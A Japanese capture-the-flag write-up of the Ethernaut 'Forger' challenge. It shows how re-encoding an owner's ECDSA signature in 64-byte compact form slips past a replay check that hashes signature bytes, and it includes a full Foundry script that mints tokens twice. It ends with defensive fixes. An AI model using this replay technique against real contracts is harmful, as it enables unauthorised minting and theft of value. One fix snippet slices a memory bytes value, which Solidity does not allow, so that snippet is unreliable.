Skip to content
On this page

CTF 题目「Forger」の詳細な技術解説:ECDSA署名の柔軟性を悪用したERC-20トークンの不正発行

はじめに

本記事では、OpenZeppelinが提供するEthereum学習プラットフォーム「Ethernaut」のCTF(Capture The Flag)問題「Forger」について、詳細な技術解説を行います。この問題は、ERC-20トークンコントラクトにおけるECDSA(Elliptic Curve Digital Signature Algorithm)署名検証の実装上の脆弱性を利用した攻撃シナリオを扱っています。目標は、コントラクトの総供給量を100トークン以上に増やすことです。

問題の背景と概要

コントラクトの目的

Forgerコントラクトは、オーナーによって署名された「ミントパス」(発行権利)を使用して、特定の受取人にトークンを発行するERC-20トークンコントラクトです。オーナーは事前に1つの有効な署名を作成しており、これを使用して100トークンを発行することができます。

提供された情報

問題文には以下の重要な情報が含まれています:

  • 既存の有効な署名(16進数形式)
  • 発行量:100 ether(100 * 10^18 トークン)
  • 受取人アドレス
  • ソルト値
  • デッドライン(事実上無期限)

セキュリティ主張

開発チームは、このミントパスが「単回使用」で「完全に安全」であると主張していますが、実際には脆弱性が存在します。

技術的詳細

ECDSA署名の基本構造

ECDSA署名は、楕円曲線暗号を使用したデジタル署名方式です。Ethereumでは、署名は通常3つの要素で構成されます:

  1. r (32バイト) - 署名の最初の部分
  2. s (32バイト) - 署名の2番目の部分
  3. v (1バイト) - リカバリID(27または28)

署名データは通常、r || s || vの形式(65バイト)またはr || vsのコンパクト形式(64バイト)で表現されます。ここでvssvの情報を組み合わせたものです。

コントラクトの署名検証ロジック

Forgerコントラクトの核心となる関数createNewTokensFromOwnerSignatureは以下の処理を行います:

solidity
function createNewTokensFromOwnerSignature(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    bytes32 salt,           
    uint256 deadline      
) public {
    require(block.timestamp <= deadline, SignatureExpired());
    require(!signatureUsed[keccak256(signature)], SignatureUsed());

    bytes32 messageHash = keccak256(abi.encode(
        receiver,
        amount,
        salt,
        deadline
    ));

    address signer = ECDSA.recover(messageHash, signature);

    require(signer == owner, InvalidSigner(signer));

    signatureUsed[keccak256(signature)] = true;

    _mint(receiver, amount);
}

脆弱性の特定

この実装には2つの重要な問題点があります:

  1. 署名の一意性チェックの限界signatureUsedマッピングは署名の完全なハッシュをキーとして使用していますが、同じ署名内容を異なる形式で表現した場合、異なるハッシュ値が生成されます。

  2. ECDSA.recoverの柔軟性:OpenZeppelinのECDSA.recover関数は、署名データの形式に対して柔軟です。65バイト形式(r, s, v)と64バイト形式(r, vs)の両方を処理できます。

攻撃の原理

署名形式の変換

提供された署名は65バイト形式(r, s, v)ですが、これを64バイトのコンパクト形式(r, vs)に変換することが可能です。両方の形式は数学的に等価であり、同じメッセージから同じ署名者アドレスを回復できますが、バイト表現が異なるため、keccak256(signature)の結果も異なります。

具体的な変換プロセス

提供された署名:

f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c

この署名を分解すると:

  • r: f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809 (32バイト)
  • s: 402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb (32バイト)
  • v: 1c (28の16進数表現)

コンパクト形式への変換:

solidity
bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
uint8 v = 28;

bytes32 vs;
if (v == 27) {
    vs = s;
} else {
    // vが28の場合、sの最上位ビットに1を設定
    vs = s | bytes32(uint256(1) << 255);
}

bytes memory compactSig = abi.encodePacked(r, vs);

攻撃シナリオ

  1. 元の65バイト署名を使用して最初の100トークンを発行
  2. 同じ署名を64バイトのコンパクト形式に変換
  3. 変換後の署名を使用して再度100トークンを発行
  4. 合計200トークンが発行され、目標の「総供給量を100以上にする」を達成

解決策の実装

Foundryスクリプトによる攻撃実行

以下は、実際の攻撃を実行するFoundryスクリプトの完全な実装です:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol"; 
import {Forger} from "../test/forger/Forger.sol";

contract MyScript is Script { 
    function run() external { 
        // デプロイ済みのForgerコントラクトアドレス
        address FORGER_INST = payable(address(0x...));

        // 元の署名(65バイト形式)
        bytes memory signature28 = bytes(hex"f73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb1c");
        
        // 署名パラメータ
        uint256 amount = 100 ether;
        address receiver = address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e);
        bytes32 salt = 0x044852b2a670ade5407e78fb2863c51de9fcb96542a07186fe3aeda6bb8a116d;
        uint256 deadline = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

        // コンパクト署名(64バイト形式)の生成
        bytes memory compactSig;
        {
            bytes32 r = 0xf73465952465d0595f1042ccf549a9726db4479af99c27fcf826cd59c3ea7809;
            bytes32 s = 0x402f4f4be134566025f4db9d4889f73ecb535672730bb98833dafb48cc0825fb;
            uint8 v = 28;
            bytes32 vs;
            
            if (v == 27) {
                vs = s;
            } else {
                // v=28の場合、sの最上位ビットに1を設定
                vs = s | bytes32(uint256(1) << 255);
            }
            compactSig = abi.encodePacked(r, vs);  
        }

        // プレイヤーの秘密鍵を環境変数から取得
        uint256 playerpk = vm.envUint("PRIVATE_KEY");

        // トランザクションのブロードキャスト開始
        vm.startBroadcast(playerpk);
        
        // 元の署名で最初の100トークンを発行
        Forger(FORGER_INST).createNewTokensFromOwnerSignature(
            signature28, 
            receiver, 
            amount, 
            salt, 
            deadline
        );
        
        // コンパクト署名で2回目の100トークンを発行
        Forger(FORGER_INST).createNewTokensFromOwnerSignature(
            compactSig, 
            receiver, 
            amount, 
            salt, 
            deadline
        );
        
        vm.stopBroadcast();
    }
}

防御策とベストプラクティス

1. メッセージハッシュの使用

署名の一意性チェックに署名自体のハッシュではなく、メッセージハッシュを使用するべきです:

solidity
// 改善された実装例
bytes32 messageHash = keccak256(abi.encode(
    receiver,
    amount,
    salt,
    deadline
));

require(!signatureUsed[messageHash], SignatureUsed());
signatureUsed[messageHash] = true;

2. 正規化された署名形式の強制

署名を常に正規化された形式に変換してから検証する:

solidity
function createNewTokensFromOwnerSignature(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    bytes32 salt,           
    uint256 deadline      
) public {
    // 署名を正規化(65バイト形式に統一)
    bytes memory normalizedSignature = normalizeSignature(signature);
    
    require(!signatureUsed[keccak256(normalizedSignature)], SignatureUsed());
    
    // 以降の処理はnormalizedSignatureを使用
    // ...
}

function normalizeSignature(bytes memory sig) internal pure returns (bytes memory) {
    if (sig.length == 64) {
        // 64バイト形式から65バイト形式に変換
        bytes32 r = bytes32(sig[0:32]);
        bytes32 vs = bytes32(sig[32:64]);
        
        bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint8 v = uint8(uint256(vs) >> 255) + 27;
        
        return abi.encodePacked(r, s, bytes1(v));
    }
    // 既に65バイト形式の場合はそのまま返す
    require(sig.length == 65, "Invalid signature length");
    return sig;
}

3. EIP-712に準拠した構造化署名

EIP-712標準を使用して、署名データに明確なドメイン分離と型情報を含める:

solidity
bytes32 constant MINT_PASS_TYPEHASH = keccak256(
    "MintPass(address receiver,uint256 amount,bytes32 salt,uint256 deadline)"
);

function createNewTokensFromOwnerSignature(
    bytes calldata signature,
    address receiver,
    uint256 amount,
    bytes32 salt,           
    uint256 deadline      
) public {
    bytes32 structHash = keccak256(abi.encode(
        MINT_PASS_TYPEHASH,
        receiver,
        amount,
        salt,
        deadline
    ));
    
    bytes32 digest = keccak256(abi.encodePacked(
        "\x19\x01",
        DOMAIN_SEPARATOR,
        structHash
    ));
    
    require(!signatureUsed[digest], SignatureUsed());
    signatureUsed[digest] = true;
    
    address signer = ECDSA.recover(digest, signature);
    require(signer == owner, InvalidSigner(signer));
    
    _mint(receiver, amount);
}

まとめ

Forger CTF問題は、ECDSA署名の実装における微妙な問題点を浮き彫りにしています。同じ数学的署名が異なるバイト表現を持つことができるという事実は、署名の一意性チェックをバイト表現に依存するシステムにおいて重大な脆弱性となります。

この問題から学ぶべき重要な教訓は以下の通りです:

  1. 署名の一意性チェックには、署名自体ではなく署名対象のメッセージハッシュを使用する
  2. 署名データを正規化された形式に統一して処理する
  3. EIP-712のような標準化された署名方式を採用する
  4. セキュリティ検証時には、データの異なる表現形式を考慮する

スマートコントラクトのセキュリティは、このような細かい実装の詳細に大きく依存します。開発者は、暗号プリミティブの使用において、その背後にある数学的特性と実装の詳細の両方を深く理解する必要があります。

Built with AiAda